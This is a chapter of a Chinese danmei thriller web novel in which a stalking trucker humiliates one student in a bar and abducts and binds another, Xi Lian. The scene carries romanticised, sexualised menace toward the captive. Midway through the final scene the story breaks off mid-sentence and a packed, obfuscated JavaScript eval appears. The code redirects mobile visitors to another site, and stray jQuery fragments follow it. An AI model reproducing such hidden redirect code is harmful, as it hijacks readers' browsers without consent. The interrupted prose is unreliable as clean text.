10. Chapter 10

作品:《男鬼收割指南[快穿]

    梅尔盯着前方漆黑的公路,深吸一口气,握紧了方向盘:“走吧……去那个酒吧。”


    她抹去眼泪,掉转车头,朝着地图上玛西尔酒吧的标记驶去。


    副驾驶的凯拉沉默着,后座的郗涟也看着窗外,神色凝重。


    他从未想过这种只会在电影里出现的恐怖情节,竟真会发生在自己身边。


    在这荒芜无垠的公路上,那个变态如同隐形的幽灵,不知会从哪个方向再度出现。


    一旁的本心情也糟透了,他原以为能尽快逃离,却没想到事情会演变至此。


    郗涟转头看向几人,试图打破这令人窒息的沉默:“那个……那人应该是卡车司机吧?毕竟他用的是车载电台,又在这附近游荡,这附近也只有卡车行驶的痕迹。不过这种通讯距离总该有个限制吧?”


    本思考了一会随后说道:“刚才我们停车的地方离那栋房子不远,大概七八公里。据我所知,这类车载电台的有效距离差不多五六公里。”


    “你怎么这么清楚?”凯拉疑惑地瞥了本一眼。本的风格,实在不像会接触这些的人。


    本撇了撇嘴:“我爸就是开卡车的。所以我了解他们那类人全是些脑子有问题的‘香肠族’,恶心透了。”


    郗涟:“……”


    原来本一开始就知道电台的通讯距离,难怪昨晚他敢那样挑衅对方,因为根本就没超出范围。


    他无奈地看向本,一时不知该说什么。


    本注意到郗涟的视线,转头看了眼对方。


    阳光正透过车窗落在郗涟脸上,那皮肤在光线里几乎透出瓷质的清透感,整个人精致得像一尊易碎的人偶。


    本喉结动了动,一句话鬼使神差地脱口而出:“要是那个变态想抓你怎么办?”


    郗涟:“……”


    他皱眉瞥了本一眼,都什么时候了,还在说这些没头没脑的话。


    要不是看在同学情分上,真想直接把他踹下车。


    梅尔本就心烦意乱,听到本的话更是火冒三丈:“你给我闭嘴!还不是都因为你!”


    凯拉连忙打圆场:“别吵了,梅尔还在开车,安全第一,等到了地方再说吧。”


    郗涟也马上安抚两人。


    毕竟有时候遇到猪队友真是没辙。


    一行人就这样在压抑的沉默中,朝着目的地驶去。


    郗涟看着公路上的车流逐渐稀疏,天色也开始转暗。


    再过一会儿就要入夜了,这可不是什么好兆头,夜晚只会让那个疯子更危险,谁知道他会在什么时候突然出现。


    本同样也很烦躁。


    他是唯一正面接触过那家伙的人,对方块头大得吓人,却总戴着墨镜和鸭舌帽,根本看不清长相。


    在本看来,那就是个彻头彻尾的神经病!谁会因为一次电台互动就开卡车四处纠缠他们……


    “我有点奇怪,那个人为什么能一直跟着我们?”


    “……”


    没人知道为什么。


    另一边的锈铁钉正驾驶着卡车,朝玛西尔酒吧的方向驶去。


    被困在后座的波比发出含混的呜咽,他全身剧痛,膝盖肿得发紫,嘴巴被胶带封死。


    可先前电台里的对话他却听得一清二楚。


    波比后悔极了。


    后悔和本这样的人结伴出行,更后悔那场轻率的恶作剧。


    波比很想道歉,可对方的意图显然不止于此。


    他现在只祈祷梅尔他们能掉头离开,越远越好。


    与此同时,郗涟四人已经抵达到了玛西尔酒吧停车场内。


    本紧皱眉头,他打死也不想下车。


    实在是太尴尬了,赤身裸体进去大喊餐厅里的事情,这种事情他绝对不可能会去做的。


    但在梅尔冰冷的注视下,本只能硬着头皮推开车门,他有些不甘心地转头看向车内的三人说到:“我需要有人陪我一起!”


    梅尔蹙眉:“我跟你去。”


    凯拉和郗涟则是选择留在车上,“我们在这儿等你们,万一有事也好立刻离开。”


    “就这么定了。”说完,梅尔便拽着本朝那片混乱的光影中走去。


    本根本不想走进去,这地方果然就和他想的一样,垃圾的要死!到处都是汽油和酒的味道,难闻的要命!


    一想到要在这里面社死,本就想拔腿逃跑,但梅尔握着电击棒死死盯着他,硬是逼着他挪进了卫生间。


    本气得浑身发抖,周围也没有可以逃离的地方……


    想到波比、想到门外那个随时会崩溃的梅尔,本最终还是僵硬地脱掉衣服,用双手堪堪遮住重点部位,挪了出来。


    一瞬间,酒吧内所有的目光都看了过来。


    周围刺耳的窃窃私语像潮水水般涌起,其中夹杂着不少口哨声和嗤笑。


    甚至还有人起哄怪叫地朝着本喊道:“看那小子!”


    “搞什么鬼?”


    “哈哈哈快拍下来!”


    本想大喊别拍了,可他勉强只能遮住下面,哪还有手去挡镜头,更别说阻拦那些围观的人。


    就在本需要求助的时候,梅尔正在酒吧内四处张望,试图找到本所描述的那个人。


    她觉得那个疯子肯定会躲在某处看着这一切,毕竟疯子不就是这样的吗?享受和欣赏着他主导的戏码。


    锈铁钉正透过监控画面,饶有兴致地看着屏幕中几人的表情。这种公开羞辱的戏码,足够那小子记一辈子了。


    而且,那小子的一辈子很快就要结束了。他确实答应会让他们团聚,可没说不会让他们活着离开。


    毕竟这些猪猡得付出更加实在的代价才行。


    锈铁钉漫不经心地想着,随后掐灭了烟头,丢到了烟灰缸内。


    酒吧里的闹剧是惩罚,是前菜。


    现在,他该关心一下自己的正餐了。


    毕竟,在收拾那些碍眼的“猪猡”之余,他也得抽空关心一下自己甜心的状况,听听那小甜甜此刻正在做什么。


    ————————————————


    “那我们就一直在这儿等着吗?”郗涟有些茫然和不确定。


    他看着窗外越来越浓的夜色和远处酒吧门口模糊晃动的光影,心里空落落的,根本不知道该怎么办……


    “除了等,我们还能做什么?”凯拉的声音有些疲惫,也透着无奈。


    她心底何尝不希望一切都像梅尔设想的那样顺利,完成那个疯子要求的任务,拿到钥匙或者别的什么,然后换回波比,让这场噩梦赶紧结束,让一切回到正轨。


    而不是像现在这样,被困在荒郊野外,卷入莫名其妙的危险游戏,一切都乱七八糟,糟心得让人喘不过气!!


    郗涟听着凯拉的话也了安静了下来,毕竟他也想不出更好的办法,内心的无力感像藤蔓一样缠绕上来。


    开始飘起细密的雨丝。


    雨势逐渐变大,噼里啪啦地砸在车顶和玻璃上,将外界的一切声响都模糊掉。


    凯拉连忙将所有车窗关上,转头看向后座的郗涟:“要不,我们把电台打开?”


    “好……”


    郗涟主动打开了电台,因为气氛安静的有些可怕,他沉闷想要调到音乐频道,正好经过21号频道的时候,又听到了那个男人自言自语地声音:“雨越来越大了,你们还好吗?”


    他倏地转头看向副驾驶座的凯拉,是锈铁钉!


    那人又在频道里!怎么办?


    凯拉显然也听到了。


    “算了,还是你和他说吧。”凯拉认真端详着郗涟的脸,“我觉得他……好像真的挺中意你的。”


    郗涟:“???”


    她看着郗涟惊慌失措的脸,那双即使在恐惧中也显得格外清澈明亮的眼眸,还有那被车内昏黄灯光勾勒得过于精致的轮廓。


    她很清楚,不论男女,见到郗涟这样的人很难不产生好感。


    可对方是个彻头彻尾的疯子。


    疯子的“喜欢”,究竟会是怎样的东西?


    郗涟只觉得凯拉在说冷笑话。


    谁会因为几句通话就喜欢上对方,搞得和网恋一样,而且他们就说过几次话而已!


    “毕竟他一直喊你‘小甜甜’,不如趁这个机会试着求求情?”


    郗涟转念一想觉得有理,毕竟现在朋友们的安危才是最重要的!


    他拿起对讲机有些迟疑地说道:“是锈铁钉?”


    “哦~小甜甜,你终于上线了?”锈铁钉将耳机摘下,先前他们在车内的谈话,他已经听得很清楚了。


    “锈铁钉,你可以放过波比吗?”


    “嗯哼~然后呢?”锈铁钉既不答应也不拒绝,反而饶有兴致地反问,“小甜甜,我要是答应了……你能给我什么?”


    郗涟一时语塞。


    凯拉却嗅出一丝不对劲,她迅速将电台调回音乐频道,警惕地环顾着车外,压低声音对郗涟说:“我们之前说过他很早就盯上我们,该不会连我们长什么样都知道吧?”


    “我不知道……”郗涟彻底懵了。


    如果真像凯拉推测的那样,情况就糟透了。


    对方显然不会轻易罢手,只会像猫捉老鼠般将他们玩弄于股掌之间。


    “那我们到底该怎么办?总不能一直被他牵着鼻子走吧?”郗涟觉得这绝非长久之计,必须寻求外援。


    凯拉有些沉默,她想离开这里了。


    她想了想说道:“我先去酒吧里面找下梅尔和本,你在这里带着小心一点。”说着也不给郗涟反驳的机会,立马拉开车门就朝着酒吧的方向跑去。


    郗涟整个人都呆住了,凯拉就这样直接走了吗?


    就在他措手不及的时候,电台里又传来了那个名叫锈铁钉男人的声音,对方低声笑着说道:“小甜甜,你的朋友好像又丢下你走了。”


    郗涟整个人汗毛竖起,他环顾着四周,整个人开始紧绷,对方到底在哪里?


    “求求你,拜托你,别伤害大家了!你要什么我们都会做的!只要,只要你别伤害他们!求你了!”


    “真的吗?什么都可以?”


    “小甜甜,我可是一个很认真的人。你觉得用什么,能换你那几个朋友的安全呢?”


    “我,我不知道。”郗涟是真的不知道,毕竟一个疯子的想法谁又会知道呢?


    “呵呵,你知道的,我要你。”


    “什、什么?”郗涟被这话砸懵了。


    “我说,用你自己来换你朋友的安全。你觉得这交易怎么样?”


    郗涟只觉得对方在戏弄自己,正常人谁会相信这种荒唐的威胁?


    他故作镇定地说道:“我不信你。你要钱还是要别的?如果能办到,我们一定做。”


    “甜心,我说了,我要你。”锈铁钉的嗓音沉了沉,随即又像谅解似的轻笑起来,“好吧,看来是筹码还不够多……我明白。”


    他吸了一口指间快要燃尽的烟,随后将烟蒂摁灭在车载烟灰缸里,目光落向副驾座位上摊开的笔记本电脑。


    电脑屏幕上分格显示着酒吧内数个监控画面,其中一格正清晰映出梅尔三人的身影。


    “又落单了,小甜甜。”


    锈铁钉笑着说道,紧接着从副驾驶座的储物格里抽出一卷胶带,心情颇好地推开车门。


    车门“咔”一声,在寂静的雨夜里显得格外清晰。


    锈铁钉顶着雨水,不紧不慢地朝着郗涟所在的方向走去,高大的身影融入细密的雨幕中……


    另一头的郗涟听着车载电台信号突然中断,整个人开始不安起来。


    前几分钟凯拉才刚离开,可他又不敢贸然下车,毕竟车钥匙不在自己,车门没锁……


    雨点敲打车窗,外面的世界模糊成一片流动的灰影。


    郗涟没手机,什么也没有,只有电台上显示的时间。虽然才过去几分钟,但是他总觉得过去了很久很久。


    就在郗涟视线未能触及的角落,一道高大的身影正不紧不慢地从车尾方向绕近。


    水珠顺


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040258|194585||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    着帽檐滑落,锈铁钉顶着雨水站在车尾不远处,紧紧地盯着车内那道身影。


    他们此刻仅仅只隔着着几步的距离,太远了,还不够。


    郗涟在车内微微前倾着身子,看起来像是在努力辨认四周。


    酒吧招牌的光线透过雨雾落在他侧脸上,将郗涟精致的轮廓勾勒得清晰分明。


    锈铁钉甚至看清了郗涟那副紧张不安的小表情,让他看起来像一只被无意间困在玻璃罩中茫然无措的小动物。


    真可怜,又被孤零零地丢在这儿了。


    不过没关系。


    他来了。


    似乎是锈铁钉的视线太过专注,专注到郗涟下意识觉得这附近有人在看着自己。


    可车后只有被雨水冲刷得模糊的夜色,空荡荡的什么也没有。


    是他的错觉吗?


    可那种被无形锁定的直觉却越来越强,郗涟心里害怕得发慌。


    凯拉他们什么时候才能回来?


    就在郗涟等得有些焦躁不安时,后排的车门毫无预兆地被拉开了——


    一个高大的身影堵在门边,一只手将他整个人牢牢按在座位上,另一只手死死捂住了郗涟的嘴,紧接着将车门关上。


    郗涟根本没反应过来,脸贴着椅背,对上了一双冷漠的眼睛——


    是先前那个卡车司机!


    男人以一种怀抱地姿态控制住了郗涟,低头看着被控制住的青年说道:“乖乖地别动,也别喊。否则……后果你不会想知道的。”


    郗涟听到这熟悉的声音,吓得眼眶瞬间红了,没想到他居然就是电台里的那个男人!


    锈铁钉掐着青年的下颌,垂眸欣赏了好一会儿,随后贴近郗涟的耳朵,声音低哑地说道:“有没有人说过……你真的很可爱?”


    说完,他从口袋里摸出一卷胶带,撕下一段,牢牢封住了郗涟柔软的嘴唇。


    腾出地左手抱起郗涟,右手慢条斯理地抽出腰间的皮带,紧接着便将对方纤细的手腕反拧到身后。


    他咬着皮带的一头,另一只手一圈一圈缠紧青年的手腕,直至郗涟根本无力挣脱。


    做完这一切,锈铁钉腾出的手抚上郗涟的脖颈,看着青年无法挣脱的模样,他指尖下意识沿着侧颈线条缓缓滑下……


    郗涟下意识想躲开对方的触碰,可手腕和腰都被牢牢控制着,下一秒,脸就被捏住小心地扳了回来。


    锈铁钉的目光一寸寸扫过对方颤抖的睫毛、泛红的眼眶,再到无声起伏的胸口……


    “偷车的代价……从今天起,你是我的。”


    锈铁钉将车门打开,弯腰起身离开车厢。


    外面的雨下得很大,但这似乎并不影响他的好心情。


    他转过身看向车内的郗涟,嘴角勾了勾,随后将身上的皮夹克脱下,包在郗涟的身上,一只手臂箍住郗涟纤细的腰身,另一只手则顺势下滑,牢牢扣住他的膝弯。


    “呜——!”郗涟被吓得浑身一僵。


    整个人从车内拖了出来,像个没有重量的玩偶般,被对方轻而易举地扛上了肩头。


    视野瞬间颠倒。


    郗涟头朝下,只能看见锈铁钉宽阔的后背和下方湿漉漉的地面。


    腹部随着锈铁钉的移动,时不时撞上对方坚硬的肩膀,一阵钝痛袭来,难受得他下意识挣动了一下——


    锈铁钉迎着雨水朝着抱得更紧了,甚至不轻不重地拍了拍他的臀部,玩味地压低声音:“宝贝,你也不想这么快就受苦吧?嗯?”


    郗涟浑身一僵,立刻不敢再动。


    他只觉得自己要完蛋了,满脑子都是对方可能用来折磨自己的种种幻想。


    郗涟越想越怕,眼泪无声地不停往下掉。


    不过很快,他就被对方塞进了一辆卡车的驾驶座内。


    锈铁钉紧接着也坐上车,“砰”地一声关上车门。


    他从口袋里摸出一根烟,低头用打火机点燃。猩红的火舌舔舐烟尾,在他晦暗的眼底投下跳动的光影。


    随后,锈铁钉抬起眼,目光毫不遮掩地扫过郗涟的脸。


    车顶昏黄的暖光沉沉压下来,落在郗涟苍白的脸颊与那副完全受制的姿态上。


    锈铁钉光是看着对方这幅姿态,心里的那股暴戾感就像毒液般迅速蔓延全身。


    郗涟被那眼神盯得心里发寒,下意识往后缩,可他全身都被控制住了,逃也逃不掉……


    锈铁钉看着眼前颤抖的青年,朝着对方吐出一口烟雾。


    他想要摧毁,想要占有,想要在这张漂亮的脸上,烙下自己的印记。


    锈铁钉越想越兴奋,直接伸出手一把将黑发青年重重地拽进怀里。


    郗涟被吓得一颤。


    男人的手臂撑在他身侧,阴影如牢笼般完全笼罩下来。


    锈铁钉低头埋进对方颈窝,近乎贪婪地嗅了嗅郗涟的脖颈。


    ……该死。


    怎么会这么让他满意的人。


    郗涟被对方身上强势的烟草味呛得头昏,再加上强烈的恐惧,整个人难受得忍不住发抖,眼泪无声地往下掉。


    锈铁钉自然感觉到了颊边滴落的湿痕。


    他掐住郗涟的脸颊,迫使对方抬起泪湿的眼眸看向自己。


    沉默几秒后,他压低声音,自以为安抚地说道:“别哭,我不会伤害你的。”


    他确实没打算伤害他。


    他只是想把人抓回来而已。


    可郗涟一个字都听不进去,他早就被对方这一连串的举动吓坏了,强烈的恐惧如潮水般涌上,眼前骤然一黑——


    郗涟直接晕过去了。


    锈铁钉刚想解释自己确实不会伤害对方,怀里的人就已经软软地倒了下来。


    他挑了挑眉,舌尖顶了顶上颚,垂眸看向怀中失去意识的黑发青年。


    还真的是一只小兔子……


    不过没关系,他还有很多时间可以慢慢陪小甜心“玩”。


    锈铁钉弯起嘴角,心情颇好地发动车子,缓缓驶入雨夜中……